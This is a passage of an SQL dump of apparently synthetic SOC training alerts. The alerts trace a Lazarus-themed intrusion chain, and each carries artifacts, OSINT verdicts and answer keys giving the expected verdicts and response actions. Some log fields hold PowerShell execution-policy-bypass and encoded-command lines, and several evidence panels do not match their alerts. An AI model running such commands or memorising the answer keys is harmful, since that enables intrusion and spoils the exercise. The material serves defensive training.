movement\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"7e4d2b6e3f8c6b1b9a3c342f5d7a8a3b\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with persistent malware used by Lazarus Group\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with Lazarus Group activities\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1446, 'Suspicious App Download Detected', 'medium', 'App Store logs', 'A suspicious cryptocurrency trading application potentially associated with the Lazarus Group was downloaded. The app is believed to be trojanized, aimed at infiltrating systems of cryptocurrency enthusiasts.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-25T14:32:00Z\",\"event_id\":\"123456\",\"app_name\":\"CryptoTraderPro\",\"downloaded_by\":\"user@example.com\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"CryptoTraderProSetup.exe\"}', '2026-03-03 22:03:46', '2026-03-05 05:21:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Lazarus Group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potentially trojanized applications.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"CryptoTraderProSetup.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Trojanized application used to deliver malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-03T22:56:57.373Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"123456\\\",\\\"app_name\\\":\\\"CryptoTraderPro\\\",\\\"downloaded_by\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"CryptoTraderProSetup.exe\\\"}\"},{\"timestamp\":\"2026-03-03T22:55:57.373Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"123456\\\",\\\"app_name\\\":\\\"CryptoTraderPro\\\",\\\"downloaded_by\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"CryptoTraderProSetup.exe\\\"}\"},{\"timestamp\":\"2026-03-03T22:54:57.373Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"123456\\\",\\\"app_name\\\":\\\"CryptoTraderPro\\\",\\\"downloaded_by\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"CryptoTraderProSetup.exe\\\"}\"},{\"timestamp\":\"2026-03-03T22:53:57.373Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"123456\\\",\\\"app_name\\\":\\\"CryptoTraderPro\\\",\\\"downloaded_by\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"CryptoTraderProSetup.exe\\\"}\"},{\"timestamp\":\"2026-03-03T22:52:57.373Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"123456\\\",\\\"app_name\\\":\\\"CryptoTraderPro\\\",\\\"downloaded_by\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"CryptoTraderProSetup.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1447, 'Execution of Unknown Scripts', 'medium', 'Endpoint Detection and Response (EDR) alerts', 'Suspicious script execution detected on host machine. The script is associated with Lazarus Group\'s known tactics and attempts to establish control over the system by executing hidden scripts.', 'Execution', 'T1059 - Command and Scripting Interpreter', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T07:23:45Z\",\"host_ip\":\"192.168.1.45\",\"host_name\":\"DESKTOP-7A9B21Q\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"process_id\":2987,\"script_name\":\"hidden_script.ps1\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File hidden_script.ps1\",\"source_ip\":\"143.110.227.12\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\hidden_script.ps1\",\"event_type\":\"script_execution\",\"malicious_indicator\":true}', '2026-03-03 22:03:46', '2026-03-05 05:23:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"143.110.227.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used in previous Lazarus Group campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"hidden_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Threat Intel\",\"verdict\":\"suspicious\",\"details\":\"Script name not commonly used in normal operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1448, 'Establishment of Persistence Mechanism', 'medium', 'System logs', 'The malware modifies startup scripts, ensuring it runs upon system boot, thereby maintaining a foothold.', 'Persistence', 'T1547.001', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-14T03:24:00Z\",\"event_type\":\"startup_script_modification\",\"host\":\"compromised-host\",\"user\":\"admin\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"malware_name\":\"Lazarus_Persistence_Tool\",\"file_modified\":\"/etc/rc.local\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"modify\",\"description\":\"Startup script modified to include malicious binary execution.\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-03-03 22:03:46', '2026-03-05 05:24:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Lazarus Group\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash of a known Lazarus Group persistence tool\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-03T22:56:57.377Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:24:00Z\\\",\\\"event_type\\\":\\\"startup_script_modification\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"admin\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"Lazarus_Persistence_Tool\\\",\\\"file_modified\\\":\\\"/etc/rc.local\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"modify\\\",\\\"description\\\":\\\"Startup script modified to include malicious binary execution.\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}\"},{\"timestamp\":\"2026-03-03T22:55:57.377Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:24:00Z\\\",\\\"event_type\\\":\\\"startup_script_modification\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"admin\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"Lazarus_Persistence_Tool\\\",\\\"file_modified\\\":\\\"/etc/rc.local\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"modify\\\",\\\"description\\\":\\\"Startup script modified to include malicious binary execution.\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}\"},{\"timestamp\":\"2026-03-03T22:54:57.377Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:24:00Z\\\",\\\"event_type\\\":\\\"startup_script_modification\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"admin\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"Lazarus_Persistence_Tool\\\",\\\"file_modified\\\":\\\"/etc/rc.local\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"modify\\\",\\\"description\\\":\\\"Startup script modified to include malicious binary execution.\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}\"},{\"timestamp\":\"2026-03-03T22:53:57.377Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:24:00Z\\\",\\\"event_type\\\":\\\"startup_script_modification\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"admin\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"Lazarus_Persistence_Tool\\\",\\\"file_modified\\\":\\\"/etc/rc.local\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"modify\\\",\\\"description\\\":\\\"Startup script modified to include malicious binary execution.\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}\"},{\"timestamp\":\"2026-03-03T22:52:57.377Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:24:00Z\\\",\\\"event_type\\\":\\\"startup_script_modification\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"admin\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"Lazarus_Persistence_Tool\\\",\\\"file_modified\\\":\\\"/etc/rc.local\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"modify\\\",\\\"description\\\":\\\"Startup script modified to include malicious binary execution.\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1449, 'Unauthorized Lateral Movement Attempt', 'high', 'Network traffic analysis', 'An unauthorized lateral movement attempt was detected originating from an external IP address, utilizing stolen credentials to access additional systems within the network.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-10T13:45:30Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"username\":\"jdoe\",\"action\":\"login_attempt\",\"status\":\"failed\",\"hash\":\"6f5902ac237024bdd0c176cb93063dc4\",\"filename\":\"mimikatz.exe\",\"protocol\":\"SMB\",\"alert_id\":\"LTMV-2023-00045\"}', '2026-03-03 22:03:46', '2026-03-05 05:26:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal company server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit Logs\",\"verdict\":\"suspicious\",\"details\":\"Account potentially compromised\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"6f5902ac237024bdd0c176cb93063dc4\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Mimikatz variant\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"File associated with credential dumping\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1450, 'Sensitive Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) alerts', 'Finalizing their operation, Lazarus exfiltrates valuable data, including cryptocurrency wallet keys, to external servers.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"dlp-20231012-0001\",\"source_ip\":\"10.0.0.101\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"filename\":\"wallet_keys.txt\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"action\":\"file_transfer\",\"protocol\":\"HTTPS\",\"outbound_port\":443,\"threat_actor\":\"Lazarus Group\"}', '2026-03-03 22:03:46', '2026-03-05 05:27:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"wallet_keys.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive cryptocurrency wallet keys.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with recent data exfiltration attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"User account used in the exfiltration event.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-03T22:56:57.384Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-0001\\\",\\\"source_ip\\\":\\\"10.0.0.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"wallet_keys.txt\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outbound_port\\\":443,\\\"threat_actor\\\":\\\"Lazarus Group\\\"}\"},{\"timestamp\":\"2026-03-03T22:55:57.384Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-0001\\\",\\\"source_ip\\\":\\\"10.0.0.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"wallet_keys.txt\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outbound_port\\\":443,\\\"threat_actor\\\":\\\"Lazarus Group\\\"}\"},{\"timestamp\":\"2026-03-03T22:54:57.384Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-0001\\\",\\\"source_ip\\\":\\\"10.0.0.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"wallet_keys.txt\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outbound_port\\\":443,\\\"threat_actor\\\":\\\"Lazarus Group\\\"}\"},{\"timestamp\":\"2026-03-03T22:53:57.384Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-0001\\\",\\\"source_ip\\\":\\\"10.0.0.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"wallet_keys.txt\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outbound_port\\\":443,\\\"threat_actor\\\":\\\"Lazarus Group\\\"}\"},{\"timestamp\":\"2026-03-03T22:52:57.384Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-0001\\\",\\\"source_ip\\\":\\\"10.0.0.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"wallet_keys.txt\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outbound_port\\\":443,\\\"threat_actor\\\":\\\"Lazarus Group\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1451, 'Spear-Phishing Email Detected', 'high', 'Email security gateway logs', 'A spear-phishing email was detected targeting personnel at a cryptocurrency exchange, crafted to mimic a trusted partner.', 'Social Engineering', 'T1566.001', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-08T14:32:00Z\",\"email_id\":\"abcd1234@example.com\",\"from\":\"trustedpartner@example.com\",\"to\":\"employee@cryptoexchange.com\",\"subject\":\"Urgent: Account Verification Required\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"attachment\":\"Invoice_2023.zip\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"detected_malware\":\"CryptoCore\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\"}', '2026-03-07 00:50:13', '2026-03-09 05:48:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"trustedpartner@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"suspicious\",\"details\":\"Email domain previously associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address linked to multiple spear-phishing attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with CryptoCore APT.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear-Phishing Email Detected\",\"date\":\"2026-03-07T14:15:20.836Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1452, 'Malicious Document Execution', 'high', 'Endpoint protection alerts', 'Following the phishing success, a malicious document is executed on the victim\'s device, deploying malware designed to extract stored credentials.', 'Malware Deployment', 'T1203 - Exploitation for Client Execution', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-13T14:23:45Z\",\"event_id\":\"4567\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"10.0.0.15\",\"filename\":\"invoice_2023.docx\",\"file_hash\":\"f1d2d2f924e986ac86fdf7b36c94bcdf32beec15\",\"user\":\"jdoe\",\"device_name\":\"JD-LAPTOP\",\"malware_family\":\"Emotet\",\"action_taken\":\"File quarantined\"}', '2026-03-07 00:50:13', '2026-03-09 05:49:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Emotet malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected 